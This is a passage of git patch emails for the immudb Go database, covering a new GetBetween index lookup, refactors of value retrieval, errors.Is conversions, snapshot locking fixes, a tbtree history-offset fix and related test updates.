*ImmuStore) CommitWith(ctx context.Context, callback func(txID uint64, i type KeyIndex interface { Get(key []byte) (valRef ValueRef, err error) + GetBetween(key []byte, initialTxID, finalTxID uint64) (valRef ValueRef, err error) GetWithFilters(key []byte, filters ...FilterFn) (valRef ValueRef, err error) GetWithPrefix(prefix []byte, neq []byte) (key []byte, valRef ValueRef, err error) GetWithPrefixAndFilters(prefix []byte, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) @@ -2144,6 +2145,10 @@ func (index *unsafeIndex) Get(key []byte) (ValueRef, error) { return index.GetWithFilters(key, IgnoreDeleted, IgnoreExpired) } +func (index *unsafeIndex) GetBetween(key []byte, initialTxID, finalTxID uint64) (valRef ValueRef, err error) { + return index.st.GetBetween(key, initialTxID, finalTxID) +} + func (index *unsafeIndex) GetWithFilters(key []byte, filters ...FilterFn) (ValueRef, error) { return index.st.GetWithFilters(key, filters...) } diff --git a/embedded/store/key_reader.go b/embedded/store/key_reader.go index caff3bf1e8..d2c46f9007 100644 --- a/embedded/store/key_reader.go +++ b/embedded/store/key_reader.go @@ -82,6 +82,24 @@ func (s *Snapshot) Get(key []byte) (valRef ValueRef, err error) { return s.GetWithFilters(key, IgnoreExpired, IgnoreDeleted) } +func (s *Snapshot) GetBetween(key []byte, initialTxID, finalTxID uint64) (valRef ValueRef, err error) { + indexedVal, tx, hc, err := s.snap.GetBetween(key, initialTxID, finalTxID) + if err != nil { + return nil, err + } + + valRef, err = s.st.valueRefFrom(tx, hc, indexedVal) + if err != nil { + return nil, err + } + + if s.refInterceptor != nil { + return s.refInterceptor(key, valRef), nil + } + + return valRef, nil +} + func (s *Snapshot) GetWithFilters(key []byte, filters ...FilterFn) (valRef ValueRef, err error) { indexedVal, tx, hc, err := s.snap.Get(key) if err != nil { diff --git a/embedded/tbtree/snapshot.go b/embedded/tbtree/snapshot.go index 0c6326ca26..49641aa074 100644 --- a/embedded/tbtree/snapshot.go +++ b/embedded/tbtree/snapshot.go @@ -125,6 +125,22 @@ func (s *Snapshot) Get(key []byte) (value []byte, ts uint64, hc uint64, err erro return cp(v), ts, hc, err } +func (s *Snapshot) GetBetween(key []byte, initialTs, finalTs uint64) (value []byte, ts uint64, hc uint64, err error) { + s.mutex.RLock() + defer s.mutex.RUnlock() + + if s.closed { + return nil, 0, 0, ErrAlreadyClosed + } + + if key == nil { + return nil, 0, 0, ErrIllegalArguments + } + + v, ts, hc, err := s.root.getBetween(key, initialTs, finalTs) + return cp(v), ts, hc, err +} + // History retrieves the history of a key in the snapshot. // It locks the snapshot for reading, and delegates the history retrieval to the root node. // The method returns an array of timestamps, the hash count, and an error. From bf7c4fb9e99d8f077960b2db32ae0357fa47108b Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 4 Sep 2023 09:36:45 -0300 Subject: [PATCH 0761/1062] chore(pkg/verification): minor doc verification improvements Signed-off-by: Jeronimo Irazabal --- pkg/database/database.go | 40 +++++++++++--------------------- pkg/database/sql.go | 35 ++++++++++------------------ pkg/verification/verification.go | 6 +++-- 3 files changed, 29 insertions(+), 52 deletions(-) diff --git a/pkg/database/database.go b/pkg/database/database.go index e7987c3870..5204b19451 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -533,38 +533,24 @@ func (d *db) getAtTx( revision uint64, skipIntegrityCheck bool, ) (entry *schema.Entry, err error) { - var txID uint64 - var val []byte - var md *store.KVMetadata - if atTx == 0 { - valRef, err := index.Get(key) - if err != nil { - return nil, err - } - - txID = valRef.Tx() - - md = valRef.KVMetadata() - - val, err = valRef.Resolve() - if err != nil { - return nil, err - } - - // Revision can be calculated from the history count - revision = valRef.HC() + var valRef store.ValueRef + if atTx == 0 { + valRef, err = index.Get(key) } else { - txID = atTx + valRef, err = index.GetBetween(key, atTx, atTx) + } + if err != nil { + return nil, err + } - md, val, err = d.readMetadataAndValue(key, atTx, skipIntegrityCheck) - if err != nil { - return nil, err - } + val, err := valRef.Resolve() + if err != nil { + return nil, err } - return d.resolveValue(key, val, resolved, txID, md, index, revision, skipIntegrityCheck) + return d.resolveValue(key, val, resolved, valRef.Tx(), valRef.KVMetadata(), index, valRef.HC(), skipIntegrityCheck) } func (d *db) getAtRevision(key []byte, atRevision int64, skipIntegrityCheck bool) (entry *schema.Entry, err error) { @@ -663,7 +649,7 @@ func (d *db) resolveValue( }, nil } -func (d *db) readMetadataAndValue(key []byte, atTx uint64, skipIntegrityCheck bool) (*store.KVMetadata, []byte, error) { +func (d *db) readMetadataAndValueK(key []byte, atTx uint64, skipIntegrityCheck bool) (*store.KVMetadata, []byte, error) { entry, _, err := d.st.ReadTxEntry(atTx, key, skipIntegrityCheck) if err != nil { return nil, nil, err diff --git a/pkg/database/sql.go b/pkg/database/sql.go index 347e39b618..cf857f9f12 100644 --- a/pkg/database/sql.go +++ b/pkg/database/sql.go @@ -170,37 +170,26 @@ func (d *db) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetR } func (d *db) sqlGetAt(key []byte, atTx uint64, index store.KeyIndex, skipIntegrityCheck bool) (entry *schema.SQLEntry, err error) { - var txID uint64 - var md *store.KVMetadata - var val []byte + var valRef store.ValueRef if atTx == 0 { - valRef, err := index.Get(key) - if err != nil { - return nil, err - } - - txID = valRef.Tx() - - md = valRef.KVMetadata() - - val, err = valRef.Resolve() - if err != nil { - return nil, err - } + valRef, err = index.Get(key) } else { - txID = atTx + valRef, err = index.GetBetween(key, atTx, atTx) + } + if err != nil { + return nil, err + } - md, val, err = d.readMetadataAndValue(key, atTx, skipIntegrityCheck) - if err != nil { - return nil, err - } + val, err := valRef.Resolve() + if err != nil { + return nil, err } return &schema.SQLEntry{ - Tx: txID, + Tx: valRef.Tx(), Key: key, - Metadata: schema.KVMetadataToProto(md), + Metadata: schema.KVMetadataToProto(valRef.KVMetadata()), Value: val, }, err } diff --git a/pkg/verification/verification.go b/pkg/verification/verification.go index 0205d1ced2..f46dce2f96 100644 --- a/pkg/verification/verification.go +++ b/pkg/verification/verification.go @@ -34,6 +34,8 @@ import ( var ErrIllegalArguments = store.ErrIllegalArguments +const documentPrefix = 3 // database.DocumentPrefix + func VerifyDocument(ctx context.Context, proof *protomodel.ProofDocumentResponse, doc *structpb.Struct, @@ -230,11 +232,11 @@ func encodedKeyForDocument(collectionID uint32, documentID string) ([]byte, erro pkEncVals := valbuf.Bytes() return sql.MapKey( - []byte{3}, // database.DocumentPrefix + []byte{documentPrefix}, sql.RowPrefix, sql.EncodeID(1), // fixed database identifier sql.EncodeID(collectionID), - sql.EncodeID(0), // pk index id + sql.EncodeID(sql.PKIndexID), pkEncVals, ), nil } From ecbb1634d2232ff62e145bc1a0c624aefcafd72f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 4 Sep 2023 14:01:10 -0300 Subject: [PATCH 0762/1062] fix(embedded/store): use correct index path Signed-off-by: Jeronimo Irazabal --- embedded/store/indexer.go | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index 34c322a561..fb761c57f1 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -121,7 +121,7 @@ func newIndexer(path string, store *ImmuStore, opts *Options) (*indexer, error) if opts.appFactory != nil { indexOpts.WithAppFactory(func(rootPath, subPath string, appOpts *multiapp.Options) (appendable.Appendable, error) { - return opts.appFactory(store.path, filepath.Join(indexDirname, subPath), appOpts) + return opts.appFactory(rootPath, subPath, appOpts) }) } @@ -299,7 +299,7 @@ func (idx *indexer) CompactIndex() (err error) { }() _, err = idx.index.Compact() - if err == tbtree.ErrAlreadyClosed { + if errors.Is(err, tbtree.ErrAlreadyClosed) { return ErrAlreadyClosed } if err != nil { @@ -314,7 +314,7 @@ func (idx *indexer) FlushIndex(cleanupPercentage float32, synced bool) (err erro defer idx.compactionMutex.Unlock() _, _, err = idx.index.FlushWith(cleanupPercentage, synced) - if err == tbtree.ErrAlreadyClosed { + if errors.Is(err, tbtree.ErrAlreadyClosed) { return ErrAlreadyClosed } if err != nil { From c507fa5286fec6c4cbc41ed88400fa30768ea338 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 4 Sep 2023 14:04:27 -0300 Subject: [PATCH 0763/1062] chore(pkg/database): fix remote storage paths Signed-off-by: Jeronimo Irazabal --- pkg/database/all_ops_test.go | 2 +- pkg/database/database.go | 2 ++ pkg/database/database_test.go | 5 ++--- pkg/database/sql.go | 10 +++++++++- pkg/server/server_test.go | 7 ++++--- 5 files changed, 18 insertions(+), 8 deletions(-) diff --git a/pkg/database/all_ops_test.go b/pkg/database/all_ops_test.go index de4bdf9915..c7d3550e58 100644 --- a/pkg/database/all_ops_test.go +++ b/pkg/database/all_ops_test.go @@ -457,7 +457,7 @@ func TestExecAllOpsZAddKeyNotFound(t *testing.T) { }, } _, err := db.ExecAll(context.Background(), aOps) - require.ErrorIs(t, err, store.ErrTxNotFound) + require.ErrorIs(t, err, store.ErrKeyNotFound) } func TestExecAllOpsNilElementFound(t *testing.T) { diff --git a/pkg/database/database.go b/pkg/database/database.go index 5204b19451..a2a7e8f0fa 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -917,6 +917,7 @@ func (d *db) Count(ctx context.Context, prefix *schema.KeyPrefix) (*schema.Entry if err != nil { return nil, err } + defer tx.Cancel() keyReader, err := tx.NewKeyReader(store.KeyReaderSpec{ Prefix: WrapWithPrefix(prefix.Prefix, SetKeyPrefix), @@ -924,6 +925,7 @@ func (d *db) Count(ctx context.Context, prefix *schema.KeyPrefix) (*schema.Entry if err != nil { return nil, err } + defer keyReader.Close() count := 0 diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index 102e29ba4f..430b505988 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -1803,9 +1803,8 @@ func TestRevisionGetConsistency(t *testing.T) { require.Len(t, scanResults.Entries, 1) require.Equal(t, []byte("value_0"), scanResults.Entries[0].Value) - // Found references do not have revision value calculated - require.EqualValues(t, 0, entryFromGet.Revision) - require.EqualValues(t, 0, scanResults.Entries[0].Revision) + require.EqualValues(t, 1, entryFromGet.Revision) + require.EqualValues(t, 1, scanResults.Entries[0].Revision) require.EqualValues(t, i+1, entryFromGet.ReferencedBy.Revision) require.EqualValues(t, i+1, scanResults.Entries[0].ReferencedBy.Revision) diff --git a/pkg/database/sql.go b/pkg/database/sql.go index cf857f9f12..4313bded3b 100644 --- a/pkg/database/sql.go +++ b/pkg/database/sql.go @@ -101,7 +101,15 @@ func (d *db) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetR return nil, err } - inclusionProof, err := tx.Proof(e.Key) + sourceKey := sql.MapKey( + []byte{SQLPrefix}, + sql.RowPrefix, + sql.EncodeID(1), // fixed database identifier + sql.EncodeID(table.ID()), + sql.EncodeID(sql.PKIndexID), + valbuf.Bytes()) + + inclusionProof, err := tx.Proof(sourceKey) if err != nil { return nil, err } diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index 94fd2075c2..c4d76cfd56 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -1280,10 +1280,11 @@ func TestServerDbOperations(t *testing.T) { require.NoError(t, err) _, err = s.Count(ctx, nil) - require.ErrorIs(t, err, ErrNotSupported) + require.Contains(t, err.Error(), store.ErrIllegalArguments.Error()) - _, err = s.CountAll(ctx, nil) - require.ErrorIs(t, err, ErrNotSupported) + res, err := s.CountAll(ctx, nil) + require.NoError(t, err) + require.Zero(t, res.Count) testServerSetGet(ctx, s, t) testServerSetGetError(ctx, s, t) From 63a71856c8488088cf3a4328a90d1dad35721bed Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 4 Sep 2023 20:01:47 -0300 Subject: [PATCH 0764/1062] chore(pkg/database): fix remote storage paths Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore_test.go | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index b23a61dec3..7220be8d63 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -613,12 +613,13 @@ func TestImmudbStoreEdgeCases(t *testing.T) { DefaultOptions(). WithEmbeddedValues(false). WithAppFactory(func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) { - if strings.HasPrefix(subPath, "index/") { + if strings.HasSuffix(rootPath, "index") { return nil, injectedError } return &mocked.MockedAppendable{ - SizeFn: func() (int64, error) { return 0, nil }, - CloseFn: func() error { return nil }, + SizeFn: func() (int64, error) { return 0, nil }, + CloseFn: func() error { return nil }, + SetOffsetFn: func(off int64) error { return nil }, }, nil }), ) @@ -664,11 +665,11 @@ func TestImmudbStoreEdgeCases(t *testing.T) { } switch subPath { - case "index/nodes": + case "nodes": return nLog, nil - case "index/history": + case "history": return hLog, nil - case "index/commit": + case "commit": return &mocked.MockedAppendable{ SizeFn: func() (int64, error) { // One clog entry From 6d7b49c54993623cf17b08ac0086fe745a69d3f6 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 4 Sep 2023 21:21:55 -0300 Subject: [PATCH 0765/1062] chore(pkg/stdlib): non transactional ddl stmts Signed-off-by: Jeronimo Irazabal --- embedded/store/ongoing_tx.go | 10 +++++----- embedded/store/ongoing_tx_keyreader.go | 10 +++++----- pkg/stdlib/tx_test.go | 5 +---- 3 files changed, 11 insertions(+), 14 deletions(-) diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index d42e444a8f..11dd7413c4 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -489,12 +489,12 @@ func (tx *OngoingTx) NewKeyReader(spec KeyReaderSpec) (KeyReader, error) { return nil, ErrWriteOnlyTx } - snap, err := tx.snap(spec.Prefix) - if err != nil { - return nil, err - } - if tx.IsReadOnly() { + snap, err := tx.snap(spec.Prefix) + if err != nil { + return nil, err + } + return snap.NewKeyReader(spec) } diff --git a/embedded/store/ongoing_tx_keyreader.go b/embedded/store/ongoing_tx_keyreader.go index 4b2743de32..b27848dccc 100644 --- a/embedded/store/ongoing_tx_keyreader.go +++ b/embedded/store/ongoing_tx_keyreader.go @@ -58,6 +58,11 @@ func newOngoingTxKeyReader(tx *OngoingTx, spec KeyReaderSpec) (*ongoingTxKeyRead return nil, ErrMVCCReadSetLimitExceeded } + snap, err := tx.snap(spec.Prefix) + if err != nil { + return nil, err + } + rspec := KeyReaderSpec{ SeekKey: spec.SeekKey, EndKey: spec.EndKey, @@ -67,11 +72,6 @@ func newOngoingTxKeyReader(tx *OngoingTx, spec KeyReaderSpec) (*ongoingTxKeyRead DescOrder: spec.DescOrder, } - snap, err := tx.snap(spec.Prefix) - if err != nil { - return nil, err - } - keyReader, err := snap.NewKeyReader(rspec) if err != nil { return nil, err diff --git a/pkg/stdlib/tx_test.go b/pkg/stdlib/tx_test.go index 064d29ccf1..f1641c75db 100644 --- a/pkg/stdlib/tx_test.go +++ b/pkg/stdlib/tx_test.go @@ -77,6 +77,7 @@ func TestTx_Rollback(t *testing.T) { tx, err := db.Begin() require.NoError(t, err) + defer tx.Rollback() table := getRandomTableName() result, err := tx.ExecContext(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, PRIMARY KEY id)", table)) @@ -86,10 +87,6 @@ func TestTx_Rollback(t *testing.T) { _, err = tx.ExecContext(context.Background(), fmt.Sprintf("INSERT INTO %s (id) VALUES (2)", table)) require.NoError(t, err) - rows, err := tx.QueryContext(context.Background(), fmt.Sprintf("SELECT * FROM %s", table)) - require.NoError(t, err) - require.NotNil(t, rows) - err = tx.Rollback() require.NoError(t, err) From 424c20437d0a70a25e08b5b567225fe754761639 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 5 Sep 2023 00:02:28 -0300 Subject: [PATCH 0766/1062] chore(embedded/store): ensure snapshot up to date Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 7 +------ embedded/store/indexer.go | 13 ++++++++++++- embedded/store/indexer_test.go | 4 ++-- pkg/integration/tx/transaction_test.go | 9 ++++++++- 4 files changed, 23 insertions(+), 10 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index cbbfe7e790..cf04f3ab21 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -1123,12 +1123,7 @@ func (s *ImmuStore) SnapshotMustIncludeTxIDWithRenewalPeriod(ctx context.Context return nil, err } - err = indexer.WaitForIndexingUpto(ctx, txID) - if err != nil { - return nil, err - } - - snap, err := indexer.SnapshotMustIncludeTxIDWithRenewalPeriod(txID, renewalPeriod) + snap, err := indexer.SnapshotMustIncludeTxIDWithRenewalPeriod(ctx, txID, renewalPeriod) if err != nil { return nil, err } diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index fb761c57f1..859a4331be 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -208,6 +208,9 @@ func (idx *indexer) History(key []byte, offset uint64, descOrder bool, limit int } func (idx *indexer) Snapshot() (*tbtree.Snapshot, error) { + idx.compactionMutex.Lock() + defer idx.compactionMutex.Unlock() + idx.mutex.Lock() defer idx.mutex.Unlock() @@ -218,7 +221,10 @@ func (idx *indexer) Snapshot() (*tbtree.Snapshot, error) { return idx.index.Snapshot() } -func (idx *indexer) SnapshotMustIncludeTxIDWithRenewalPeriod(txID uint64, renewalPeriod time.Duration) (*tbtree.Snapshot, error) { +func (idx *indexer) SnapshotMustIncludeTxIDWithRenewalPeriod(ctx context.Context, txID uint64, renewalPeriod time.Duration) (*tbtree.Snapshot, error) { + idx.compactionMutex.Lock() + defer idx.compactionMutex.Unlock() + idx.mutex.Lock() defer idx.mutex.Unlock() @@ -226,6 +232,11 @@ func (idx *indexer) SnapshotMustIncludeTxIDWithRenewalPeriod(txID uint64, renewa return nil, ErrAlreadyClosed } + err := idx.WaitForIndexingUpto(ctx, txID) + if err != nil { + return nil, err + } + return idx.index.SnapshotMustIncludeTsWithRenewalPeriod(txID, renewalPeriod) } diff --git a/embedded/store/indexer_test.go b/embedded/store/indexer_test.go index c8ccf67287..588c778da1 100644 --- a/embedded/store/indexer_test.go +++ b/embedded/store/indexer_test.go @@ -62,7 +62,7 @@ func TestClosedIndexerFailures(t *testing.T) { require.Zero(t, snap) require.ErrorIs(t, err, ErrAlreadyClosed) - snap, err = indexer.SnapshotMustIncludeTxIDWithRenewalPeriod(0, 0) + snap, err = indexer.SnapshotMustIncludeTxIDWithRenewalPeriod(context.Background(), 0, 0) require.Zero(t, snap) require.ErrorIs(t, err, ErrAlreadyClosed) @@ -202,7 +202,7 @@ func TestClosedIndexer(t *testing.T) { assert.Error(t, err) assert.ErrorIs(t, err, ErrAlreadyClosed) - _, err = i.SnapshotMustIncludeTxIDWithRenewalPeriod(0, 0) + _, err = i.SnapshotMustIncludeTxIDWithRenewalPeriod(context.Background(), 0, 0) assert.Error(t, err) assert.ErrorIs(t, err, ErrAlreadyClosed) diff --git a/pkg/integration/tx/transaction_test.go b/pkg/integration/tx/transaction_test.go index dfb55304e3..958a3f2ea1 100644 --- a/pkg/integration/tx/transaction_test.go +++ b/pkg/integration/tx/transaction_test.go @@ -60,6 +60,13 @@ func TestTransaction_SetAndGet(t *testing.T) { );`, nil) require.NoError(t, err) + txH, err := tx.Commit(context.Background()) + require.NoError(t, err) + require.NotNil(t, txH) + + tx, err = client.NewTx(context.Background(), immudb.UnsafeMVCC(), immudb.SnapshotMustIncludeTxID(0), immudb.SnapshotRenewalPeriod(0)) + require.NoError(t, err) + params := make(map[string]interface{}) params["id"] = 1 params["title"] = "title1" @@ -73,7 +80,7 @@ func TestTransaction_SetAndGet(t *testing.T) { require.NoError(t, err) require.NotNil(t, res) - txH, err := tx.Commit(context.Background()) + txH, err = tx.Commit(context.Background()) require.NoError(t, err) require.NotNil(t, txH) From 835f21ec3d701b2c4413146a748ae6f7ca8f3a7a Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 6 Sep 2023 15:04:12 -0300 Subject: [PATCH 0767/1062] fix(embedded/tbtree): snapshot validation Signed-off-by: Jeronimo Irazabal --- embedded/store/indexer.go | 6 +++--- embedded/tbtree/snapshot.go | 6 +++--- embedded/tbtree/tbtree.go | 16 ++++++++-------- embedded/tbtree/tbtree_test.go | 2 ++ 4 files changed, 16 insertions(+), 14 deletions(-) diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index 859a4331be..0128c0a450 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -284,7 +284,7 @@ func (idx *indexer) Close() error { func (idx *indexer) WaitForIndexingUpto(ctx context.Context, txID uint64) error { if idx.wHub != nil { err := idx.wHub.WaitFor(ctx, txID) - if err == watchers.ErrAlreadyClosed { + if errors.Is(err, watchers.ErrAlreadyClosed) { return ErrAlreadyClosed } return err @@ -302,7 +302,7 @@ func (idx *indexer) CompactIndex() (err error) { defer func() { if err == nil { idx.store.logger.Infof("index '%s' sucessfully compacted", idx.store.path) - } else if err == tbtree.ErrCompactionThresholdNotReached { + } else if errors.Is(err, tbtree.ErrCompactionThresholdNotReached) { idx.store.logger.Infof("compaction of index '%s' not needed: %v", idx.store.path, err) } else { idx.store.logger.Warningf("%v: while compacting index '%s'", err, idx.store.path) @@ -437,7 +437,7 @@ func (idx *indexer) doIndexing() { idx.stateCond.L.Unlock() err = idx.indexSince(lastIndexedTx + 1) - if err == ErrAlreadyClosed || err == tbtree.ErrAlreadyClosed { + if errors.Is(err, ErrAlreadyClosed) || errors.Is(err, tbtree.ErrAlreadyClosed) { return } if err != nil { diff --git a/embedded/tbtree/snapshot.go b/embedded/tbtree/snapshot.go index 49641aa074..45b03a7bec 100644 --- a/embedded/tbtree/snapshot.go +++ b/embedded/tbtree/snapshot.go @@ -527,7 +527,7 @@ func (l *leafNode) writeTo(nw, hw io.Writer, writeOpts *WriteOpts, buf []byte) ( binary.BigEndian.PutUint64(buf[bi:], timedValue.Ts) bi += 8 - hOff := writeOpts.BaseHLogOffset + hOff := v.hOff if len(v.timedValues) > 1 { hbuf := new(bytes.Buffer) @@ -545,13 +545,13 @@ func (l *leafNode) writeTo(nw, hw io.Writer, writeOpts *WriteOpts, buf []byte) ( binary.Write(hbuf, binary.BigEndian, uint64(v.hOff)) + hOff = writeOpts.BaseHLogOffset + accH + n, err := hw.Write(hbuf.Bytes()) if err != nil { return 0, 0, 0, int64(n), err } - hOff += accH - accH += int64(n) } diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index be4665a9cb..046f646711 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -129,7 +129,7 @@ func (e *cLogEntry) serialize() []byte { } func (e *cLogEntry) isValid() bool { - return e.initialHLogSize <= e.finalNLogSize && + return e.initialNLogSize <= e.finalNLogSize && e.rootNodeSize > 0 && int64(e.rootNodeSize) <= e.finalNLogSize && e.initialHLogSize <= e.finalHLogSize @@ -587,7 +587,7 @@ func OpenWith(path string, nLog, hLog, cLog appendable.Appendable, opts *Options for cLogSize > 0 { var b [cLogEntrySize]byte n, err := cLog.ReadAt(b[:], cLogSize-cLogEntrySize) - if err == io.EOF { + if errors.Is(err, io.EOF) { cLogSize -= int64(n) break } @@ -605,7 +605,7 @@ func OpenWith(path string, nLog, hLog, cLog appendable.Appendable, opts *Options if !mustDiscard { nLogChecksum, nerr := appendable.Checksum(t.nLog, cLogEntry.initialNLogSize, cLogEntry.finalNLogSize-cLogEntry.initialNLogSize) - if nerr != nil && nerr != io.EOF { + if nerr != nil && !errors.Is(nerr, io.EOF) { return nil, fmt.Errorf("%w: while calculating nodes log checksum at '%s'", nerr, path) } @@ -614,8 +614,8 @@ func OpenWith(path string, nLog, hLog, cLog appendable.Appendable, opts *Options return nil, fmt.Errorf("%w: while calculating history log checksum at '%s'", herr, path) } - mustDiscard = nerr == io.EOF || - herr == io.EOF || + mustDiscard = errors.Is(nerr, io.EOF) || + errors.Is(herr, io.EOF) || nLogChecksum != cLogEntry.nLogChecksum || hLogChecksum != cLogEntry.hLogChecksum @@ -1091,7 +1091,7 @@ func (t *TBtree) flushTree(cleanupPercentageHint float32, forceSync bool, forceC metricsFlushedNodesTotal, metricsFlushedEntriesLastCycle, metricsFlushedEntriesTotal, - "Flushing", + "flushing", t.root.ts(), time.Minute, ) @@ -1350,7 +1350,7 @@ func (t *TBtree) Compact() (uint64, error) { return 0, ErrCompactionThresholdNotReached } - _, _, err := t.flushTree(0, false, false, "Compact") + _, _, err := t.flushTree(0, false, false, "compact") if err != nil { return 0, err } @@ -1376,7 +1376,7 @@ func (t *TBtree) Compact() (uint64, error) { metricsCompactedNodesTotal, metricsCompactedEntriesLastCycle, metricsCompactedEntriesTotal, - "Dumping", + "dumping", snap.Ts(), time.Minute, ) diff --git a/embedded/tbtree/tbtree_test.go b/embedded/tbtree/tbtree_test.go index 11d5a35eee..c4311df2e7 100644 --- a/embedded/tbtree/tbtree_test.go +++ b/embedded/tbtree/tbtree_test.go @@ -620,6 +620,8 @@ func TestSnapshotRecovery(t *testing.T) { require.NoError(t, err) require.Equal(t, uint64(1), snapc) + require.Equal(t, uint64(3), tree.Ts()) + err = tree.Close() require.NoError(t, err) From 34ca2fda87456d2d25f3979f1c2dcb13e0090254 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 6 Sep 2023 15:26:03 -0300 Subject: [PATCH 0768/1062] test(embedded/document): ensure indexing up to date Signed-off-by: Jeronimo Irazabal --- embedded/document/engine_test.go | 3 +++ 1 file changed, 3 insertions(+) diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 9e57adc0ab..4fa3c985cf 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -534,6 +534,9 @@ func TestDocumentAudit(t *testing.T) { require.Equal(t, uint64(2), doc.Revision) }) + err = engine.sqlEngine.GetStore().WaitForIndexingUpto(context.Background(), revisions[0].TransactionId) + require.NoError(t, err) + // get document audit res, err := engine.AuditDocument(context.Background(), collectionName, docID, false, 0, 10) require.NoError(t, err) From d472b2b4effdffb939d56713068db2cac3a26a9b Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 6 Sep 2023 15:43:34 -0300 Subject: [PATCH 0769/1062] test(embedded/document): ensure indexing up to date Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 3 +++ embedded/document/engine_test.go | 8 +++++--- 2 files changed, 8 insertions(+), 3 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index f1e4280643..b8e940d720 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -1201,6 +1201,9 @@ func (e *Engine) getEncodedDocument(key []byte, atTx uint64) (encDoc *EncodedDoc } else { valRef, err = e.sqlEngine.GetStore().GetBetween(key, atTx, atTx) } + if errors.Is(err, store.ErrKeyNotFound) { + return nil, ErrDocumentNotFound + } if err != nil { return nil, mayTranslateError(err) } diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 4fa3c985cf..20b1181be9 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -534,9 +534,6 @@ func TestDocumentAudit(t *testing.T) { require.Equal(t, uint64(2), doc.Revision) }) - err = engine.sqlEngine.GetStore().WaitForIndexingUpto(context.Background(), revisions[0].TransactionId) - require.NoError(t, err) - // get document audit res, err := engine.AuditDocument(context.Background(), collectionName, docID, false, 0, 10) require.NoError(t, err) @@ -564,6 +561,11 @@ func TestDocumentAudit(t *testing.T) { }) require.NoError(t, err) + t.Run("get encoded document should return error with deleted docID", func(t *testing.T) { + _, _, _, err := engine.GetEncodedDocument(context.Background(), collectionName, docID, 0) + require.ErrorIs(t, err, ErrDocumentNotFound) + }) + res, err = engine.AuditDocument(context.Background(), collectionName, docID, false, 0, 10) require.NoError(t, err) require.Len(t, res, 3) From a8d4e8b8f62636c70b383657b9c44d1ec5b079d3 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 6 Sep 2023 15:55:25 -0300 Subject: [PATCH 0770/1062] test(embedded/document): ensure indexing up to date Signed-off-by: Jeronimo Irazabal --- embedded/document/engine_test.go | 21 +++++++++++++++++++-- 1 file changed, 19 insertions(+), 2 deletions(-) diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 20b1181be9..a2dc714c5c 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -562,8 +562,25 @@ func TestDocumentAudit(t *testing.T) { require.NoError(t, err) t.Run("get encoded document should return error with deleted docID", func(t *testing.T) { - _, _, _, err := engine.GetEncodedDocument(context.Background(), collectionName, docID, 0) - require.ErrorIs(t, err, ErrDocumentNotFound) + docReader, err := engine.GetDocuments(context.Background(), &protomodel.Query{ + CollectionName: collectionName, + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: DefaultDocumentIDField, + Operator: protomodel.ComparisonOperator_EQ, + Value: structpb.NewStringValue(docID.EncodeToHexString()), + }, + }, + }, + }, + }, 0) + require.NoError(t, err) + defer docReader.Close() + + _, err = docReader.Read(context.Background()) + require.ErrorIs(t, err, ErrNoMoreDocuments) }) res, err = engine.AuditDocument(context.Background(), collectionName, docID, false, 0, 10) From c9c23cea9f61a08b79022a814b3f3edb1ed106cb Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 6 Sep 2023 18:20:50 -0300 Subject: [PATCH 0771/1062] chore(embedded/tbtree): context propagation Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 19 +- embedded/document/engine_test.go | 3 + 